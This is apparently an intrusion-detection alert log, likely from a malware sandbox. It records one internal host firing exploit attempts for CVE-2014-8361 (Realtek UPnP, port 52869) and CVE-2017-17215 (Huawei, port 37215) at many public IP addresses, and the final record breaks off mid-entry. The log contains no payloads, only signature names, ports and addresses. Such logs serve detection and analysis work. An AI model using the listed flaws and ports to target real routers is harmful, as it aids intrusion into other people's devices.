SID:	2027339
Source Port:	50076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.102.141.171

Timestamp:	07/20/24-23:01:03.422401
SID:	2027339
Source Port:	53670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.167.1.107

Timestamp:	07/20/24-23:01:24.862410
SID:	2835222
Source Port:	40984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.82.217.243

Timestamp:	07/20/24-23:01:41.496780
SID:	2025132
Source Port:	55182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.175.172.46

Timestamp:	07/20/24-23:01:50.313415
SID:	2025132
Source Port:	38028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.204.197

Timestamp:	07/20/24-23:01:11.631010
SID:	2829579
Source Port:	55038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.30.224.199

Timestamp:	07/20/24-23:01:41.372363
SID:	2025132
Source Port:	43162
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.227.245.165

Timestamp:	07/20/24-23:01:53.392806
SID:	2027339
Source Port:	59554
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.245.53.9

Timestamp:	07/20/24-23:01:20.202325
SID:	2835222
Source Port:	40562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.18.60.159

Timestamp:	07/20/24-23:01:41.481591
SID:	2027339
Source Port:	33528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.141.116.135

Timestamp:	07/20/24-23:01:43.965131
SID:	2027339
Source Port:	34594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.234.5.119

Timestamp:	07/20/24-23:01:45.667238
SID:	2027339
Source Port:	56994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 126.245.117.149

Timestamp:	07/20/24-23:01:45.775798
SID:	2025132
Source Port:	40262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.77.223.88

Timestamp:	07/20/24-23:01:44.156178
SID:	2025132
Source Port:	49758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 180.155.132.167

Timestamp:	07/20/24-23:01:08.629616
SID:	2831300
Source Port:	44946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.49.232.192

Timestamp:	07/20/24-23:01:58.688551
SID:	2027339
Source Port:	49478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.33.160.160

Timestamp:	07/20/24-23:01:27.650975
SID:	2835222
Source Port:	40676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.103.95.129

Timestamp:	07/20/24-23:01:59.197251
SID:	2027339
Source Port:	53646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.234.118.120

Timestamp:	07/20/24-23:01:42.704267
SID:	2027339
Source Port:	55242
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.91.73.111

Timestamp:	07/20/24-23:01:01.278892
SID:	2025132
Source Port:	35746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.8.134.128

Timestamp:	07/20/24-23:01:08.663244
SID:	2027339
Source Port:	41736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.175.201.8

Timestamp:	07/20/24-23:02:01.964831
SID:	2831300
Source Port:	35084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.8.18.232

Timestamp:	07/20/24-23:01:02.064358
SID:	2829579
Source Port:	58700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.186.238.85

Timestamp:	07/20/24-23:01:42.027932
SID:	2025132
Source Port:	40596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.178.52.80

Timestamp:	07/20/24-23:01:51.266338
SID:	2831300
Source Port:	44988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.30.159.48

Timestamp:	07/20/24-23:02:04.520145
SID:	2027339
Source Port:	50896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.212.70.208

Timestamp:	07/20/24-23:01:45.854405
SID:	2027339
Source Port:	50904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 171.210.254.194

Timestamp:	07/20/24-23:01:27.658221
SID:	2835222
Source Port:	48414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.79.190.240

Timestamp:	07/20/24-23:01:56.001165
SID:	2025132
Source Port:	60444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.198.76.252

Timestamp:	07/20/24-23:01:04.098080
SID:	2835222
Source Port:	36712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 62.216.86.224

Timestamp:	07/20/24-23:01:20.596401
SID:	2831300
Source Port:	46360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.12.1

Timestamp:	07/20/24-23:01:31.983105
SID:	2829579
Source Port:	33566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.1.100.136

Timestamp:	07/20/24-23:01:41.420715
SID:	2025132
Source Port:	41268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.234.94.36

Timestamp:	07/20/24-23:01:44.452218
SID:	2831300
Source Port:	52330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.107.25.12

Timestamp:	07/20/24-23:01:08.590753
SID:	2831300
Source Port:	46306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.176.151.108

Timestamp:	07/20/24-23:01:46.731900
SID:	2027339
Source Port:	56188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.74.174.143

Timestamp:	07/20/24-23:01:01.897212
SID:	2027339
Source Port:	53882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 191.115.236.117

Timestamp:	07/20/24-23:01:24.877747
SID:	2829579
Source Port:	48176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.171.117.24

Timestamp:	07/20/24-23:01:27.653586
SID:	2835222
Source Port:	48390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 20.160.208.40

Timestamp:	07/20/24-23:01:27.666100
SID:	2829579
Source Port:	56836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.10.74.49

Timestamp:	07/20/24-23:01:52.569791
SID:	2027339
Source Port:	40128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.171.198.157

Timestamp:	07/20/24-23:02:04.592319
SID:	2025132
Source Port:	49786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.245.180.182

Timestamp:	07/20/24-23:01:11.822392
SID:	2835222
Source Port:	55546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 175.125.103.77

Timestamp:	07/20/24-23:01:31.322110
SID:	2831300
Source Port:	50904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.222.50.62

Timestamp:	07/20/24-23:01:43.895587
SID:	2025132
Source Port:	33518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 124.20.21.168

Timestamp:	07/20/24-23:01:11.633481
SID:	2835222
Source Port:	58682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.51.3.253

Timestamp:	07/20/24-23:01:44.565131
SID:	2027339
Source Port:	41940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.106.199.227

Timestamp:	07/20/24-23:01:46.471349
SID:	2027339
Source Port:	33208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.158.206.208

Timestamp:	07/20/24-23:01:27.650975
SID:	2829579
Source Port:	46192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.162.162.31

Timestamp:	07/20/24-23:01:03.919195
SID:	2025132
Source Port:	58878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.10.69.196

Timestamp:	07/20/24-23:00:57.222279
SID:	2835222
Source Port:	58602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 185.92.40.236

Timestamp:	07/20/24-23:01:04.118166
SID:	2835222
Source Port:	45782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.11.75.129

Timestamp:	07/20/24-23:01:11.631549
SID:	2835222
Source Port:	35868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.80.83.187

Timestamp:	07/20/24-23:01:44.855022
SID:	2027339
Source Port:	35600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.184.238.202

Timestamp:	07/20/24-23:02:03.882859
SID:	2027339
Source Port:	59642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.94.208

Timestamp:	07/20/24-23:01:04.040812
SID:	2835222
Source Port:	47446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.163.214.36

Timestamp:	07/20/24-23:01:27.749737
SID:	2829579
Source Port:	47098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.117.225.80

Timestamp:	07/20/24-23:01:51.835178
SID:	2027339
Source Port:	59778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.93.26

Timestamp:	07/20/24-23:01:20.150638
SID:	2829579
Source Port:	55948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.8.177

Timestamp:	07/20/24-23:01:24.876437
SID:	2829579
Source Port:	53292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.142.177.164

Timestamp:	07/20/24-23:01:55.105161
SID:	2027339
Source Port:	43056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.149.199

Timestamp:	07/20/24-23:01:24.910426
SID:	2829579
Source Port:	45686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.157.99.54

Timestamp:	07/20/24-23:00:57.222129
SID:	2835222
Source Port:	40802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.218.167.53

Timestamp:	07/20/24-23:01:45.015200
SID:	2027339
Source Port:	46412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.23.236.194

Timestamp:	07/20/24-23:01:09.030401
SID:	2027339
Source Port:	33440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.162.88.124

Timestamp:	07/20/24-23:01:43.478924
SID:	2027339
Source Port:	56258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.35.167.52

Timestamp:	07/20/24-23:01:44.944836
SID:	2025132
Source Port:	55484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.251.124.204

Timestamp:	07/20/24-23:01:42.664090
SID:	2027339
Source Port:	52998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.78.244.230

Timestamp:	07/20/24-23:02:27.381027
SID:	2831300
Source Port:	54888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.53.147.58

Timestamp:	07/20/24-23:01:11.631728
SID:	2829579
Source Port:	37572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.238.174.13

Timestamp:	07/20/24-23:01:47.117979
SID:	2027339
Source Port:	37426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.170.167.126

Timestamp:	07/20/24-23:01:34.044717
SID:	2835222
Source Port:	47310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.125.31.24

Timestamp:	07/20/24-23:01:41.295717
SID:	2027339
Source Port:	41290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.217.206.213

Timestamp:	07/20/24-23:01:11.631549
SID:	2829579
Source Port:	40492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.22.220.245

Timestamp:	07/20/24-23:01:58.035425
SID:	2027339
Source Port:	59144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.119.197.200

Timestamp:	07/20/24-23:01:07.005156
SID:	2835222
Source Port:	44902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.42.165.86

Timestamp:	07/20/24-23:01:04.014689
SID:	2835222
Source Port:	44888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.152.226.6

Timestamp:	07/20/24-23:01:51.130270
SID:	2027339
Source Port:	54738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.125.103.77

Timestamp:	07/20/24-23:01:25.787139
SID:	2025132
Source Port:	49954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.129.173.144

Timestamp:	07/20/24-23:01:41.290518
SID:	2027339
Source Port:	41866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.176.109.210

Timestamp:	07/20/24-23:01:11.816101
SID:	2835222
Source Port:	57656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.140.169.156

Timestamp:	07/20/24-23:01:41.286911
SID:	2025132
Source Port:	52456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.177.145.85

Timestamp:	07/20/24-23:01:44.945909
SID:	2025132
Source Port:	40546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.138.76.79

Timestamp:	07/20/24-23:01:46.439367
SID:	2027339
Source Port:	44908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 204.242.74.211

Timestamp:	07/20/24-23:01:27.666100
SID:	2835222
Source Port:	56188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 76.116.108.138

Timestamp:	07/20/24-23:01:51.875785
SID:	2025132
Source Port:	54080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.155.110.53

Timestamp:	07/20/24-23:01:20.181938
SID:	2829579
Source Port:	37886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.14.202.149

Timestamp:	07/20/24-23:01:52.390301
SID:	2027339
Source Port:	51042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 149.74.6.111

Timestamp:	07/20/24-23:01:58.719313
SID:	2025132
Source Port:	39752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 210.26.13.127

Timestamp:	07/20/24-23:01:04.049279
SID:	2829579
Source Port:	33762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.94.179.5

Timestamp:	07/20/24-23:01:09.058270
SID:	2831300
Source Port:	54394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.149.63.116

Timestamp:	07/20/24-23:01:42.592736
SID:	2025132
Source Port:	46258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 199.118.63.112

Timestamp:	07/20/24-23:01:58.190255
SID:	2831300
Source Port:	53358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.167.87.211

Timestamp:	07/20/24-23:02:08.008782
SID:	2025132
Source Port:	37426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.29.40

Timestamp:	07/20/24-23:01:04.050503
SID:	2835222
Source Port:	53458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.137.171.145

Timestamp:	07/20/24-23:01:50.223705
SID:	2027339
Source Port:	35596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.65.225.50

Timestamp:	07/20/24-23:01:52.019773
SID:	2025132
Source Port:	42918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.149.63.116

Timestamp:	07/20/24-23:01:44.674122
SID:	2831300
Source Port:	47054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.245.141.79

Timestamp:	07/20/24-23:01:47.808098
SID:	2027339
Source Port:	44152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.173.108.254

Timestamp:	07/20/24-23:01:08.634900
SID:	2027339
Source Port:	45770
Destination Port:	52869
Protocol:	TCP
